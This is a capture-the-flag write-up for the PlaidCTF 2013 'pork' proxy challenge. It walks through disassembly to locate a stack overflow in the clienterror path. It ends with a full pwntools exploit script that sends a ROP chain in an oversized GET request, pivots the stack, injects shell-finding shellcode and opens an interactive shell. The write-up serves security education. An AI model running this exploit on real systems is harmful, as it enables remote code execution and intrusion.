pork - PlaidCTF 2013
It was fairly obvious it was a proxy from strings
Not found GET %s HTTP/1.0 Host: %s %s http://%s %s Proxy does not implement this method
The third argument in sscanf could be ooverflown since read is called with 0x800 byes and the buffer is only 0x400.
sub esp,0x24f0 lea ecx,[esp+0x1c24] mov DWORD PTR [esp+0x10],ecx
However as we can see the stack is large enough and the space above is writen to before use.
A quick glance at clienterror reveals that it should be possible to make a overflow here if we can control one of the three inputs. But in the main function, we have no luck.
mov DWORD PTR [esp+0xc],0x8049b34 mov DWORD PTR [esp+0x8],0x8049b59 mov DWORD PTR [esp+0x4],0x8049b69 mov eax,DWORD PTR [esp+0x24b8] ; socket mov DWORD PTR [esp],eax call 8048d16 <clienterror>
Onwards to serve()! call to clienterror with an argument? Check.
lea eax,[ebp-0x1894] mov DWORD PTR [esp+0xc],eax mov DWORD PTR [esp+0x8],0x8049ab8 mov DWORD PTR [esp+0x4],0x8049ac2 mov eax,DWORD PTR [ebp+0x8] ;socket mov DWORD PTR [esp],eax call 8048d16 <clienterror>
This code is called if gethostnameby_r fails.
What is left is the ropping. pwntools to the rescue!
#!/usr/bin/env python from pwn import * context('i386', 'linux', 'ipv4') #HOST = '127.0.0.1' HOST = '22.214.171.124' PORT = 33227 r = remote(HOST, PORT, timeout = None) p = rop.ROP('./pork-8c2fdf93e211c7358e0192a24bc951843da672b1') buf = p.sections['.bss'] + ord('A') shellcode = asm(shellcode.findpeersh()) p.call('read', [4, buf+5*4, len(shellcode)]) p.call(buf+5*4) pivot_rop = p.flush() for n,c in enumerate(pivot_rop): p.call('sprintf', [buf+n, p.search(c).next()]) p.migrate(buf) rop_chain = p32(p._gadgets['popret'])*4 + p.generate() pause() r.send('GET http://' + 'A'.ljust(1024, 'A') + rop_chain + ' HTTP/1.1\r\n') sleep(1.0) r.send('\r\n') sleep(1.0) r.send(shellcode) r.interactive()